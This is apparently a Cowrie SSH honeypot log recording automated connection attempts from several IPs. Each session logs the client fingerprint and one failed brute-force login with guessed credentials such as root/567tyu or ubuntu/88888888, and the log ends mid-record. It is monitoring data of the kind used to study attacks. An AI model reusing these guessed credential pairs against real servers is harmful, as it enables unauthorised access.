{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":60390,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef750372e2bd","protocol":"ssh","message":"New connection: 31.41.152.180:60390 (159.203.135.109:22) [session: ef750372e2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:21.818325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:21.823292Z","src_ip":"31.41.152.180","session":"ef750372e2bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:21.942311Z","src_ip":"31.41.152.180","session":"ef750372e2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"irfan","password":"irfan","message":"login attempt [irfan/irfan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:22.441977Z","src_ip":"31.41.152.180","session":"ef750372e2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:23.560911Z","src_ip":"31.41.152.180","session":"ef750372e2bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":49142,"dst_ip":"159.203.135.109","dst_port":22,"session":"84ffb0de095b","protocol":"ssh","message":"New connection: 176.32.39.21:49142 (159.203.135.109:22) [session: 84ffb0de095b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:26.819634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:26.940722Z","src_ip":"176.32.39.21","session":"84ffb0de095b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:26.945518Z","src_ip":"176.32.39.21","session":"84ffb0de095b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"567tyu","message":"login attempt [root/567tyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:27.521355Z","src_ip":"176.32.39.21","session":"84ffb0de095b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:28.643670Z","src_ip":"176.32.39.21","session":"84ffb0de095b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":38194,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a8f6ab70fcf","protocol":"ssh","message":"New connection: 82.197.58.130:38194 (159.203.135.109:22) [session: 1a8f6ab70fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:58.526802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:58.531976Z","src_ip":"82.197.58.130","session":"1a8f6ab70fcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:58.687485Z","src_ip":"82.197.58.130","session":"1a8f6ab70fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superset","password":"superset","message":"login attempt [superset/superset] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:59.336307Z","src_ip":"82.197.58.130","session":"1a8f6ab70fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:55:00.494959Z","src_ip":"82.197.58.130","session":"1a8f6ab70fcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38994,"dst_ip":"10.17.0.5","dst_port":22,"session":"e77f2bb6d999","protocol":"ssh","message":"New connection: 80.66.85.226:38994 (10.17.0.5:22) [session: e77f2bb6d999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:55:58.240316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:55:58.246214Z","src_ip":"80.66.85.226","session":"e77f2bb6d999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:55:58.336406Z","src_ip":"80.66.85.226","session":"e77f2bb6d999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nurbek","message":"login attempt [root/nurbek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:55:58.608288Z","src_ip":"80.66.85.226","session":"e77f2bb6d999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:55:59.701772Z","src_ip":"80.66.85.226","session":"e77f2bb6d999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":55376,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb404b68f1f3","protocol":"ssh","message":"New connection: 31.41.152.180:55376 (159.203.135.109:22) [session: fb404b68f1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:10.364582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:10.369497Z","src_ip":"31.41.152.180","session":"fb404b68f1f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:10.482717Z","src_ip":"31.41.152.180","session":"fb404b68f1f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"88888888","message":"login attempt [ubuntu/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:10.972471Z","src_ip":"31.41.152.180","session":"fb404b68f1f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:12.090646Z","src_ip":"31.41.152.180","session":"fb404b68f1f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":57022,"dst_ip":"159.203.135.109","dst_port":22,"session":"6db2dc781cff","protocol":"ssh","message":"New connection: 82.197.58.130:57022 (159.203.135.109:22) [session: 6db2dc781cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:23.104564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:23.109743Z","src_ip":"82.197.58.130","session":"6db2dc781cff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:23.262467Z","src_ip":"82.197.58.130","session":"6db2dc781cff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"123456","message":"login attempt [nova/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:23.899886Z","src_ip":"82.197.58.130","session":"6db2dc781cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:25.060636Z","src_ip":"82.197.58.130","session":"6db2dc781cff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42880,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a67850a0170","protocol":"ssh","message":"New connection: 103.153.68.219:42880 (10.17.0.5:22) [session: 4a67850a0170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:25.593542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:25.599377Z","src_ip":"103.153.68.219","session":"4a67850a0170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:25.854649Z","src_ip":"103.153.68.219","session":"4a67850a0170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210187","message":"login attempt [root/210187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:26.621517Z","src_ip":"103.153.68.219","session":"4a67850a0170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":33842,"dst_ip":"159.203.135.109","dst_port":22,"session":"47d83e380a90","protocol":"ssh","message":"New connection: 191.101.59.86:33842 (159.203.135.109:22) [session: 47d83e380a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:27.371392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:27.383562Z","src_ip":"191.101.59.86","session":"47d83e380a90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:27.572995Z","src_ip":"191.101.59.86","session":"47d83e380a90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:27.880603Z","src_ip":"103.153.68.219","session":"4a67850a0170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proxyuser","password":"12345","message":"login attempt [proxyuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:27.989334Z","src_ip":"191.101.59.86","session":"47d83e380a90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:29.076134Z","src_ip":"191.101.59.86","session":"47d83e380a90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":45546,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ec3c724edc7","protocol":"ssh","message":"New connection: 109.172.54.111:45546 (159.203.135.109:22) [session: 6ec3c724edc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:53.234191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:53.239042Z","src_ip":"109.172.54.111","session":"6ec3c724edc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp52